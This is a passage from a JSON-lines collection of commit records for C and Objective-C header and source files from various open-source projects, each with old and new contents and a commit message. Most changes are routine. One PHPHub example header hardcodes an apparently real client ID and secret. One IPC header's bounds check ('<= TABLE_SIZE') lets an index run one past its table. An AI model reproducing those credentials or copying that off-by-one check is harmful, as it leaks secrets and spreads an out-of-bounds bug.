code.)\n","lang":"C","license":"mit","repos":"tdenniston\/Halide,kenkuang1213\/Halide,gchauras\/Halide,dougkwan\/Halide,lglucin\/Halide,ronen\/Halide,delcypher\/Halide,lglucin\/Halide,delcypher\/Halide,ronen\/Halide,mcanthony\/Halide,dougkwan\/Halide,damienfir\/Halide,ayanazmat\/Halide,kgnk\/Halide,psuriana\/Halide,rodrigob\/Halide,fengzhyuan\/Halide,smxlong\/Halide,lglucin\/Halide,ayanazmat\/Halide,smxlong\/Halide,aam\/Halide,mcanthony\/Halide,rodrigob\/Halide,dan-tull\/Halide,dan-tull\/Halide,jiawen\/Halide,smxlong\/Halide,lglucin\/Halide,damienfir\/Halide,fengzhyuan\/Halide,damienfir\/Halide,damienfir\/Halide,kenkuang1213\/Halide,rodrigob\/Halide,lglucin\/Halide,kenkuang1213\/Halide,tdenniston\/Halide,dougkwan\/Halide,mcanthony\/Halide,fengzhyuan\/Halide,lglucin\/Halide,lglucin\/Halide,mcanthony\/Halide,ronen\/Halide,kgnk\/Halide,dan-tull\/Halide,dougkwan\/Halide,smxlong\/Halide,ronen\/Halide,aam\/Halide,dan-tull\/Halide,gchauras\/Halide,ronen\/Halide,rodrigob\/Halide,dougkwan\/Halide,tdenniston\/Halide,myrtleTree33\/Halide,adasworks\/Halide,delcypher\/Halide,myrtleTree33\/Halide,kgnk\/Halide,ayanazmat\/Halide,damienfir\/Halide,aam\/Halide,adasworks\/Halide,gchauras\/Halide,gchauras\/Halide,rodrigob\/Halide,mcanthony\/Halide,myrtleTree33\/Halide,delcypher\/Halide,delcypher\/Halide,fengzhyuan\/Halide,smxlong\/Halide,dan-tull\/Halide,myrtleTree33\/Halide,myrtleTree33\/Halide,kenkuang1213\/Halide,dan-tull\/Halide,dougkwan\/Halide,rodrigob\/Halide,kgnk\/Halide,ayanazmat\/Halide,myrtleTree33\/Halide,adasworks\/Halide,mcanthony\/Halide,myrtleTree33\/Halide,delcypher\/Halide,jiawen\/Halide,tdenniston\/Halide,jiawen\/Halide,kenkuang1213\/Halide,psuriana\/Halide,fengzhyuan\/Halide,ayanazmat\/Halide,damienfir\/Halide,rodrigob\/Halide,jiawen\/Halide,aam\/Halide,tdenniston\/Halide,tdenniston\/Halide,aam\/Halide,smxlong\/Halide,damienfir\/Halide,kgnk\/Halide,myrtleTree33\/Halide,ayanazmat\/Halide,ayanazmat\/Halide,kgnk\/Halide,fengzhyuan\/Halide,jiawen\/Halide,psuriana\/Halide,aam\/Halide,psuriana\/Halide,tdenniston\/Halide,dan-tull\/Halide,delcypher\/Halide,kgnk\/Halide,kgnk\/Halide,kenkuang1213\/Halide,adasworks\/Halide,adasworks\/Halide,damienfir\/Halide,ayanazmat\/Halide,adasworks\/Halide,mcanthony\/Halide,dougkwan\/Halide,gchauras\/Halide,kenkuang1213\/Halide,rodrigob\/Halide,smxlong\/Halide,delcypher\/Halide,adasworks\/Halide,gchauras\/Halide,psuriana\/Halide,jiawen\/Halide,tdenniston\/Halide,ronen\/Halide,fengzhyuan\/Halide,adasworks\/Halide,aam\/Halide,dougkwan\/Halide,kenkuang1213\/Halide,dan-tull\/Halide,mcanthony\/Halide,jiawen\/Halide,psuriana\/Halide,smxlong\/Halide,ronen\/Halide,fengzhyuan\/Halide,ronen\/Halide,psuriana\/Halide"}
{"commit":"11fb3304ba88fa84e2349c08f73b4ffaf0a8fd89","old_file":"OctoKit\/OctoKit.h","new_file":"OctoKit\/OctoKit.h","old_contents":"\/\/\n\/\/  OctoKit.h\n\/\/  OctoKit\n\/\/\n\/\/  Created by Piet Brauer on 25\/08\/15.\n\/\/  Copyright (c) 2015 nerdish by nature. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for OctoKit.\nFOUNDATION_EXPORT double OctoKitVersionNumber;\n\n\/\/! Project version string for OctoKit.\nFOUNDATION_EXPORT const unsigned char OctoKitVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <OctoKit\/PublicHeader.h>\n\n\n","new_contents":"\/\/\n\/\/  OctoKit.h\n\/\/  OctoKit\n\/\/\n\/\/  Created by Piet Brauer on 25\/08\/15.\n\/\/  Copyright (c) 2015 nerdish by nature. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for OctoKit.\nFOUNDATION_EXPORT double OctoKitVersionNumber;\n\n\/\/! Project version string for OctoKit.\nFOUNDATION_EXPORT const unsigned char OctoKitVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <OctoKit\/PublicHeader.h>\n\n\n","subject":"Use Foundation instead of UIKit","message":"Use Foundation instead of UIKit","lang":"C","license":"mit","repos":"nerdishbynature\/octokit.swift,nerdishbynature\/octokit.swift,nerdishbynature\/octokit.swift,phatblat\/octokit.swift,phatblat\/octokit.swift"}
{"commit":"68584771ffe6608ed50dcb8f7e414d9ba6bcafa4","old_file":"src\/api-mock.h","new_file":"src\/api-mock.h","old_contents":"#ifndef APIMOCK_H\n#define APIMOCK_H\n\n#include \"core\/server.h\"\n\n#endif","new_contents":"#ifndef APIMOCK_H\n#define APIMOCK_H\n\n#include \"core\/server.h\"\n#include \"core\/exceptions.h\"\n\n#endif","subject":"Include exceptions in main header","message":"Include exceptions in main header\n","lang":"C","license":"mit","repos":"Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock"}
{"commit":"4bd45e4d59931a8aa4873f40ddb77b5142fb175f","old_file":"src\/bin\/e_signals.c","new_file":"src\/bin\/e_signals.c","old_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n *\/\n#include \"e.h\"\n#include <execinfo.h>\n\n\/* a tricky little devil, requires e and it's libs to be built\n * with the -rdynamic flag to GCC for any sort of decent output. \n *\/\nvoid e_sigseg_act(int x, siginfo_t *info, void *data){\n\n  void *array[255];\n  size_t size;\n  write(2, \"**** SEGMENTATION FAULT ****\\n\", 29);\n  write(2, \"**** Printing Backtrace... *****\\n\\n\", 34);\n  size = backtrace(array, 255);\n  backtrace_symbols_fd(array, size, 2);\n  exit(-11); \n}\n\n\n     \n","new_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n * NOTE TO FreeBSD users. Install libexecinfo from \n * ports\/devel\/libexecinfo and add -lexecinfo to LDFLAGS\n * to add backtrace support.\n *\/\n#include \"e.h\"\n#include <execinfo.h>\n\n\/* a tricky little devil, requires e and it's libs to be built\n * with the -rdynamic flag to GCC for any sort of decent output. \n *\/\nvoid e_sigseg_act(int x, siginfo_t *info, void *data){\n\n  void *array[255];\n  size_t size;\n  write(2, \"**** SEGMENTATION FAULT ****\\n\", 29);\n  write(2, \"**** Printing Backtrace... *****\\n\\n\", 34);\n  size = backtrace(array, 255);\n  backtrace_symbols_fd(array, size, 2);\n  exit(-11); \n}\n\n\n     \n","subject":"Add note to help FreeBSD users.","message":"Add note to help FreeBSD users.\n","lang":"C","license":"bsd-2-clause","repos":"jordemort\/e17,jordemort\/e17,jordemort\/e17"}
{"commit":"0a2825db5a26372454d53fc20a877e0e0bc82123","old_file":"libipc\/ipcreg_internal.h","new_file":"libipc\/ipcreg_internal.h","old_contents":"\/\/===-- ipcreg_internal.h -------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Internal types and data for IPC registration logic\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef _IPCREG_INTERNAL_H_\n#define _IPCREG_INTERNAL_H_\n\n#include \"ipcd.h\"\n\n#include <assert.h>\n\ntypedef enum {\n  STATE_UNOPT = 0,\n  STATE_ID_EXCHANGE,\n  STATE_OPTIMIZED,\n  STATE_LOCALFD\n} EndpointState;\n\ntypedef struct {\n  size_t bytes_trans;\n  int localfd;\n  endpoint ep;\n  EndpointState state;\n  bool valid;\n} ipc_info;\n\n\/\/ For now, just index directly into pre-allocate table with fd.\n\/\/ We will also need a way to go from nonce to fd!\nconst unsigned TABLE_SIZE = 1 << 10;\nextern ipc_info IpcDescTable[TABLE_SIZE];\n\nstatic inline char inbounds_fd(int fd) { return (unsigned)fd <= TABLE_SIZE; }\n\nstatic inline ipc_info *getFDDesc(int fd) {\n  assert(inbounds_fd(fd));\n  return &IpcDescTable[fd];\n}\n\n#endif \/\/ _IPCREG_INTERNAL_H_\n","new_contents":"\/\/===-- ipcreg_internal.h -------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Internal types and data for IPC registration logic\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef _IPCREG_INTERNAL_H_\n#define _IPCREG_INTERNAL_H_\n\n#include \"ipcd.h\"\n\n#include <assert.h>\n\ntypedef enum {\n  STATE_UNOPT = 0,\n  STATE_ID_EXCHANGE,\n  STATE_OPTIMIZED,\n  STATE_LOCALFD\n} EndpointState;\n\ntypedef struct {\n  size_t bytes_trans;\n  int localfd;\n  endpoint ep;\n  EndpointState state;\n  bool valid;\n} ipc_info;\n\n\/\/ For now, just index directly into pre-allocate table with fd.\n\/\/ We will also need a way to go from nonce to fd!\nconst unsigned TABLE_SIZE = 1 << 10;\nextern ipc_info IpcDescTable[TABLE_SIZE];\n\nstatic inline char inbounds_fd(int fd) { return (unsigned)fd <= TABLE_SIZE; }\n\nstatic inline ipc_info *getFDDesc(int fd) {\n  if (!inbounds_fd(fd)) {\n    ipclog(\"Attempt to access out-of-bounds fd: %d (TABLE_SIZE=%u)\\n\", fd,\n           TABLE_SIZE);\n  }\n  assert(inbounds_fd(fd));\n  return &IpcDescTable[fd];\n}\n\n#endif \/\/ _IPCREG_INTERNAL_H_\n","subject":"Extend assert in getFDDesc to print invalid fd.","message":"Extend assert in getFDDesc to print invalid fd.\n\nHelps debug issues like one fixed by previous commit.\n","lang":"C","license":"isc","repos":"dtzWill\/ipcopter,dtzWill\/ipcopter,dtzWill\/ipcopter,dtzWill\/ipcopter,dtzWill\/ipcopter,dtzWill\/ipcopter"}
{"commit":"6521caab4016e59941bb8c97ace364f83b34ba9c","old_file":"src\/modules\/conf_randr\/e_smart_monitor.h","new_file":"src\/modules\/conf_randr\/e_smart_monitor.h","old_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_MONITOR_H\n#  define E_SMART_MONITOR_H\n\n# endif\n#endif\n","new_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_MONITOR_H\n#  define E_SMART_MONITOR_H\n\nEvas_Object *e_smart_monitor_add(Evas *evas);\n\n# endif\n#endif\n","subject":"Add header function for creating new monitors.","message":"Add header function for creating new monitors.\n\nSigned-off-by: Christopher Michael <cp.michael@samsung.com>\n\nSVN revision: 84123\n","lang":"C","license":"bsd-2-clause","repos":"rvandegrift\/e,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,FlorentRevest\/Enlightenment,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,tasn\/enlightenment,rvandegrift\/e"}
{"commit":"72caa3963e9d0ef6b47774f9b9a7a0de83634ec4","old_file":"src\/trace_processor\/types\/version_number.h","new_file":"src\/trace_processor\/types\/version_number.h","old_contents":"\/*\n * Copyright (C) 2019 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_\n#define SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_\n\n#include <tuple>\n\nnamespace perfetto {\nnamespace trace_processor {\n\nstruct VersionNumber {\n  uint32_t major;\n  uint32_t minor;\n\n  bool operator==(const VersionNumber& other) {\n    return std::tie(major, minor) == std::tie(other.major, other.minor);\n  }\n  bool operator<(const VersionNumber& other) {\n    return std::tie(major, minor) < std::tie(other.major, other.minor);\n  }\n  bool operator>=(const VersionNumber& other) {\n    return std::tie(major, minor) >= std::tie(other.major, other.minor);\n  }\n};\n\n}  \/\/ namespace trace_processor\n}  \/\/ namespace perfetto\n\n#endif  \/\/ SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_\n","new_contents":"\/*\n * Copyright (C) 2019 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_\n#define SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_\n\n#include <tuple>\n\nnamespace perfetto {\nnamespace trace_processor {\n\nstruct VersionNumber {\n  uint32_t major;\n  uint32_t minor;\n\n  bool operator==(const VersionNumber& other) const {\n    return std::tie(major, minor) == std::tie(other.major, other.minor);\n  }\n  bool operator<(const VersionNumber& other) const {\n    return std::tie(major, minor) < std::tie(other.major, other.minor);\n  }\n  bool operator>=(const VersionNumber& other) const {\n    return std::tie(major, minor) >= std::tie(other.major, other.minor);\n  }\n};\n\n}  \/\/ namespace trace_processor\n}  \/\/ namespace perfetto\n\n#endif  \/\/ SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_\n","subject":"Fix VersionNumber comparison operator constness","message":"Fix VersionNumber comparison operator constness\n\nCurrently Perfetto builds are broken in Chromium.\n\nChange-Id: I09b2e29682667e6dfecc36ea072327dd51f5e071\n","lang":"C","license":"apache-2.0","repos":"google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto"}
{"commit":"0de12dcf3dde407ceaff96b28c2b292a3aa463e2","old_file":"Classes\/APIRouter.h","new_file":"Classes\/APIRouter.h","old_contents":"\/\/\n\/\/  APIRouter.h\n\/\/  APIClient\n\/\/\n\/\/  Created by Klaas Pieter Annema on 14-09-13.\n\/\/  Copyright (c) 2013 Klaas Pieter Annema. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"APIInflector.h\"\n\n@protocol APIRouter <NSObject>\n@property (nonatomic, readonly, strong) id<APIInflector> inflector;\n\n- (NSString *)pathForAction:(NSString *)action onResource:(Class)resource;\n@end\n\n@interface APIRouter : NSObject <APIRouter>\n- (id)initWithInflector:(id<APIInflector>)inflector;\n- (NSString *)pathForAction:(NSString *)action onResource:(Class)resource;\n@end\n","new_contents":"\/\/\n\/\/  APIRouter.h\n\/\/  APIClient\n\/\/\n\/\/  Created by Klaas Pieter Annema on 14-09-13.\n\/\/  Copyright (c) 2013 Klaas Pieter Annema. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"APIInflector.h\"\n\n@protocol APIRouter <NSObject>\n- (NSString *)pathForAction:(NSString *)action onResource:(Class)resource;\n@end\n\n@interface APIRouter : NSObject <APIRouter>\n@property (nonatomic, readonly, strong) id<APIInflector> inflector;\n\n- (id)initWithInflector:(id<APIInflector>)inflector;\n- (NSString *)pathForAction:(NSString *)action onResource:(Class)resource;\n@end\n","subject":"Remove the inflector from the router protocol","message":"Remove the inflector from the router protocol\n","lang":"C","license":"mit","repos":"klaaspieter\/APIClient"}
{"commit":"8c75289033623c366a6949adfabe4cdcf550d4ac","old_file":"tests\/Tests.h","new_file":"tests\/Tests.h","old_contents":"#pragma once\n\n#if defined(_MSC_VER)\n#define DLL_API __declspec(dllexport)\n#define STDCALL __stdcall\n#define CDECL __cdecl\n#else\n#define DLL_API __attribute__ ((visibility (\"default\")))\n#define STDCALL __attribute__((stdcall))\n#define CDECL __attribute__((cdecl))\n#endif\n\n#define CS_OUT","new_contents":"#pragma once\n\n#if defined(_MSC_VER)\n#define DLL_API __declspec(dllexport)\n\n#ifndef STDCALL\n#define STDCALL __stdcall\n#endif\n\n#ifndef CDECL\n#define CDECL __cdecl\n#endif\n#else\n#define DLL_API __attribute__ ((visibility (\"default\")))\n\n#ifndef STDCALL\n#define STDCALL __attribute__((stdcall))\n#endif\n\n#ifndef CDECL\n#define CDECL __attribute__((cdecl))\n#endif\n#endif\n\n#define CS_OUT","subject":"Check for defines before defining to get rid of some warnings.","message":"Check for defines before defining to get rid of some warnings.\n","lang":"C","license":"mit","repos":"xistoso\/CppSharp,mohtamohit\/CppSharp,zillemarco\/CppSharp,inordertotest\/CppSharp,xistoso\/CppSharp,imazen\/CppSharp,mono\/CppSharp,imazen\/CppSharp,SonyaSa\/CppSharp,Samana\/CppSharp,xistoso\/CppSharp,genuinelucifer\/CppSharp,mohtamohit\/CppSharp,mono\/CppSharp,ktopouzi\/CppSharp,inordertotest\/CppSharp,Samana\/CppSharp,imazen\/CppSharp,ktopouzi\/CppSharp,txdv\/CppSharp,mydogisbox\/CppSharp,genuinelucifer\/CppSharp,inordertotest\/CppSharp,genuinelucifer\/CppSharp,u255436\/CppSharp,ddobrev\/CppSharp,txdv\/CppSharp,SonyaSa\/CppSharp,u255436\/CppSharp,KonajuGames\/CppSharp,inordertotest\/CppSharp,nalkaro\/CppSharp,xistoso\/CppSharp,u255436\/CppSharp,imazen\/CppSharp,nalkaro\/CppSharp,u255436\/CppSharp,genuinelucifer\/CppSharp,KonajuGames\/CppSharp,nalkaro\/CppSharp,nalkaro\/CppSharp,zillemarco\/CppSharp,KonajuGames\/CppSharp,mono\/CppSharp,Samana\/CppSharp,SonyaSa\/CppSharp,zillemarco\/CppSharp,mono\/CppSharp,SonyaSa\/CppSharp,mohtamohit\/CppSharp,Samana\/CppSharp,KonajuGames\/CppSharp,ddobrev\/CppSharp,zillemarco\/CppSharp,mydogisbox\/CppSharp,mydogisbox\/CppSharp,ddobrev\/CppSharp,SonyaSa\/CppSharp,u255436\/CppSharp,mohtamohit\/CppSharp,imazen\/CppSharp,txdv\/CppSharp,ktopouzi\/CppSharp,Samana\/CppSharp,mydogisbox\/CppSharp,xistoso\/CppSharp,KonajuGames\/CppSharp,mohtamohit\/CppSharp,ddobrev\/CppSharp,zillemarco\/CppSharp,txdv\/CppSharp,mono\/CppSharp,ktopouzi\/CppSharp,genuinelucifer\/CppSharp,mydogisbox\/CppSharp,inordertotest\/CppSharp,nalkaro\/CppSharp,txdv\/CppSharp,ktopouzi\/CppSharp,mono\/CppSharp,ddobrev\/CppSharp"}
{"commit":"b56546c04b262d215df290c3f9dbe900cdc910f1","old_file":"Clue\/Classes\/Protocols\/CLURecordableModule.h","new_file":"Clue\/Classes\/Protocols\/CLURecordableModule.h","old_contents":"","new_contents":"\/\/\n\/\/  CLURecordableModule.h\n\/\/  Clue\n\/\/\n\/\/  Created by Ahmed Sulaiman on 5\/18\/16.\n\/\/  Copyright © 2016 Ahmed Sulaiman. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol CLURecordableModule <NSObject>\n\n@required\n- (void)startRecording;\n- (void)stopRecording;\n- (BOOL)addNewFrameWithTimestamp:(CFTimeInterval)timestamp;\n\n@end\n","subject":"Add basic interface for recordable modules","message":"Add basic interface for recordable modules\n","lang":"C","license":"mit","repos":"Geek-1001\/Clue,Geek-1001\/Clue,Geek-1001\/Clue,Geek-1001\/Clue"}
{"commit":"846e6f3b71fcf9fca2df36c101e6de2d080dcb83","old_file":"PHPHub\/Constants\/SecretConstant.example.h","new_file":"PHPHub\/Constants\/SecretConstant.example.h","old_contents":"\/\/\n\/\/  SecretConstant.example.h\n\/\/  PHPHub\n\/\/\n\/\/  Created by Aufree on 9\/30\/15.\n\/\/  Copyright (c) 2015 ESTGroup. All rights reserved.\n\/\/\n\n#define Client_id       @\"kHOugsx4dmcXwvVbmLkd\"\n#define Client_secret   @\"PuuFCrF94MloSbSkxpwS\"\n#define UMENG_APPKEY    @\"Set up UMEng App Key\"\n#define UMENG_QQ_ID     @\"Set up qq id\"\n#define UMENG_QQ_APPKEY @\"Set up qq appkey\"\n#define WX_APP_ID       @\"Set up weixin app id\"\n#define WX_APP_SECRET   @\"Set up weixin app secret\"\n#define TRACKING_ID     @\"Set up google anlytics tracking id\"","new_contents":"\/\/\n\/\/  SecretConstant.example.h\n\/\/  PHPHub\n\/\/\n\/\/  Created by Aufree on 9\/30\/15.\n\/\/  Copyright (c) 2015 ESTGroup. All rights reserved.\n\/\/\n\n#if DEBUG\n#define Client_id       @\"kHOugsx4dmcXwvVbmLkd\"\n#define Client_secret   @\"PuuFCrF94MloSbSkxpwS\"\n#else\n#define Client_id       @\"Set up a client id for production env\"\n#define Client_secret   @\"Set up a client secret for production env\"\n#endif\n\n#define UMENG_APPKEY    @\"Set up UMEng App Key\"\n#define UMENG_QQ_ID     @\"Set up qq id\"\n#define UMENG_QQ_APPKEY @\"Set up qq appkey\"\n#define WX_APP_ID       @\"Set up weixin app id\"\n#define WX_APP_SECRET   @\"Set up weixin app secret\"\n#define TRACKING_ID     @\"Set up google anlytics tracking id\"","subject":"Set up a client id and a client secret for production environment","message":"Set up a client id and a client secret for production environment\n","lang":"C","license":"mit","repos":"Aufree\/phphub-ios"}
{"commit":"b70923c9dc77371c24b3d2183b0573969602eca0","old_file":"Source\/Pester_Prefix.h","new_file":"Source\/Pester_Prefix.h","old_contents":"\/\/\n\/\/ Prefix header for all source files of the 'Pester' target in the 'Pester' project\n\/\/\n\n#import \"NJROperatingSystemVersion.h\"","new_contents":"\/\/\n\/\/ Prefix header for all source files of the 'Pester' target in the 'Pester' project\n\/\/\n\n#ifdef __OBJC__\n    #import <Cocoa\/Cocoa.h>\n    #import \"NJROperatingSystemVersion.h\"\n#endif\n","subject":"Fix Pester prefix header to import Cocoa again.","message":"Fix Pester prefix header to import Cocoa again.","lang":"C","license":"bsd-2-clause","repos":"ssp\/Pester,ssp\/Pester,ssp\/Pester,ssp\/Pester,nriley\/Pester,ssp\/Pester,nriley\/Pester"}
{"commit":"37a155226210640f16018e1033d4769b2fb36909","old_file":"gitst.c","new_file":"gitst.c","old_contents":"\n#include <stdio.h>\n#include \"lib\/proc.h\"\n\nint\nmain(int argc, char **argv)\n{\n\n  char* gitbuff;\n  int out = run_proc(&gitbuff, \"git\", \"branch\", \"--list\", 0);\n  \/\/int out = run_proc(&gitbuff, \"ls\", \"-l\", \"-h\", 0);\n  if (out != 0)\n  {\n    fprintf(stderr, \"Error running subprocess:%d\\n\", out);\n    exit(1);\n  }\n  \/\/printf(\"run_proc exit code = %d\\nresponse= '''%s'''\\n\", out, gitbuff);\n\n  char *br;\n\n  br = gitbuff;\n  putchar('(');\n\n  while(*br++ != '*') {}\n  \/\/ skip the '*' and the space after it\n  br++;\n  while(*br != '\\n')\n  {\n    putchar(*br++);\n  }\n\n  putchar(')');\n  putchar('\\n');\n}\n\n","new_contents":"\n#include <stdio.h>\n#include <string.h>\n#include \"lib\/proc.h\"\n\nint\nmain(int argc, char **argv)\n{\n  char* gitbuff;\n  int out = run_proc(&gitbuff, \"git\", \"branch\", \"--list\", 0);\n  if (out != 0)\n  {\n    exit(1);\n  }\n\n  char *token;\n  char *sep=\" \\r\\n\";\n  int next = 0;\n  while((token = strsep(&gitbuff, sep)) != NULL)\n  {\n    if (token[0] == '*')  {\n      token = strsep(&gitbuff, sep);\n      printf(\"(%s)\", token);\n      break;\n    }\n   }\n  return 0;\n}\n","subject":"Use strsep to split output","message":"Use strsep to split output\n","lang":"C","license":"bsd-3-clause","repos":"wnh\/prompt_utils"}
{"commit":"0dc3d4785076cad20dfc015c32a6d656ec9b1b68","old_file":"PodioKit\/Common\/Core\/PKTHTTPClient.h","new_file":"PodioKit\/Common\/Core\/PKTHTTPClient.h","old_contents":"\/\/\n\/\/  PKTClient.h\n\/\/  PodioKit\n\/\/\n\/\/  Created by Sebastian Rehnby on 16\/01\/14.\n\/\/  Copyright (c) 2014 Citrix Systems, Inc. All rights reserved.\n\/\/\n\n#import \"PKTRequest.h\"\n#import \"PKTResponse.h\"\n#import \"PKTRequestSerializer.h\"\n#import \"PKTResponseSerializer.h\"\n\ntypedef void(^PKTRequestCompletionBlock)(PKTResponse *response, NSError *error);\n\n@interface PKTHTTPClient : NSObject\n\n@property (nonatomic, copy, readonly) NSURL *baseURL;\n@property (nonatomic, strong, readonly) PKTRequestSerializer *requestSerializer;\n@property (nonatomic, strong, readonly) PKTResponseSerializer *responseSerializer;\n\n\/**\n *  Controls whether or not to pin the server public key to that of any .cer certificate included in the app bundle.\n *\/\n@property (nonatomic) BOOL useSSLPinning;\n\n- (NSURLSessionTask *)taskForRequest:(PKTRequest *)request completion:(PKTRequestCompletionBlock)completion;\n\n@end\n","new_contents":"\/\/\n\/\/  PKTClient.h\n\/\/  PodioKit\n\/\/\n\/\/  Created by Sebastian Rehnby on 16\/01\/14.\n\/\/  Copyright (c) 2014 Citrix Systems, Inc. All rights reserved.\n\/\/\n\n#import \"PKTRequest.h\"\n#import \"PKTResponse.h\"\n#import \"PKTRequestSerializer.h\"\n#import \"PKTResponseSerializer.h\"\n\ntypedef void(^PKTRequestCompletionBlock)(PKTResponse *response, NSError *error);\n\n@interface PKTHTTPClient : NSObject\n\n@property (nonatomic, copy) NSURL *baseURL;\n@property (nonatomic, strong, readonly) PKTRequestSerializer *requestSerializer;\n@property (nonatomic, strong, readonly) PKTResponseSerializer *responseSerializer;\n\n\/**\n *  Controls whether or not to pin the server public key to that of any .cer certificate included in the app bundle.\n *\/\n@property (nonatomic) BOOL useSSLPinning;\n\n- (NSURLSessionTask *)taskForRequest:(PKTRequest *)request completion:(PKTRequestCompletionBlock)completion;\n\n@end\n","subject":"Add ability to set base URL","message":"Add ability to set base URL\n","lang":"C","license":"mit","repos":"podio\/podio-objc,shelsonjava\/podio-objc,shelsonjava\/podio-objc,podio\/podio-objc,shelsonjava\/podio-objc,podio\/podio-objc"}
{"commit":"f4b5386b0f67a1ef693a768d2d952633e9b55d83","old_file":"src\/cc\/common\/nofilelimit.h","new_file":"src\/cc\/common\/nofilelimit.h","old_contents":"","new_contents":"\/\/---------------------------------------------------------- -*- Mode: C++ -*-\n\/\/ $Id$\n\/\/\n\/\/ Created 2012\/10\/25\n\/\/ Author: Mike Ovsiannikov\n\/\/\n\/\/ Copyright 2012 Quantcast Corp.\n\/\/\n\/\/ This file is part of Kosmos File System (KFS).\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0\n\/\/ (the \"License\"); you may not use this file except in compliance with\n\/\/ the License. You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n\/\/ implied. See the License for the specific language governing\n\/\/ permissions and limitations under the License.\n\/\/\n\/\/ \\file nofilelimit.h\n\/\/ \\brief function to set process max number of open files.\n\/\/\n\/\/----------------------------------------------------------------------------\n\n\n#ifndef KFS_NOFILELIMIT_H\n#define KFS_NOFILELIMIT_H\n\nnamespace KFS {\n\nint SetMaxNoFileLimit();\n\n}\n\n#endif \/* KFS_NOFILELIMIT_H *\/\n","subject":"Fix previous commit: by committing new include file.","message":"Fix previous commit: by committing new include file.\n","lang":"C","license":"apache-2.0","repos":"qnu\/qfs,thebigbrain\/qfs,quantcast\/qfs,quantcast\/qfs,qnu\/qfs,quantcast\/qfs,fengshao0907\/qfs,chanwit\/qfs,quantcast\/qfs,thebigbrain\/qfs,thebigbrain\/qfs,thebigbrain\/qfs,chanwit\/qfs,fengshao0907\/qfs,chanwit\/qfs,thebigbrain\/qfs,chanwit\/qfs,chanwit\/qfs,thebigbrain\/qfs,qnu\/qfs,qnu\/qfs,thebigbrain\/qfs,fengshao0907\/qfs,thebigbrain\/qfs,fengshao0907\/qfs,qnu\/qfs,chanwit\/qfs,chanwit\/qfs,fengshao0907\/qfs,chanwit\/qfs,quantcast\/qfs,qnu\/qfs,quantcast\/qfs,qnu\/qfs,quantcast\/qfs,fengshao0907\/qfs,qnu\/qfs,quantcast\/qfs,fengshao0907\/qfs,fengshao0907\/qfs"}
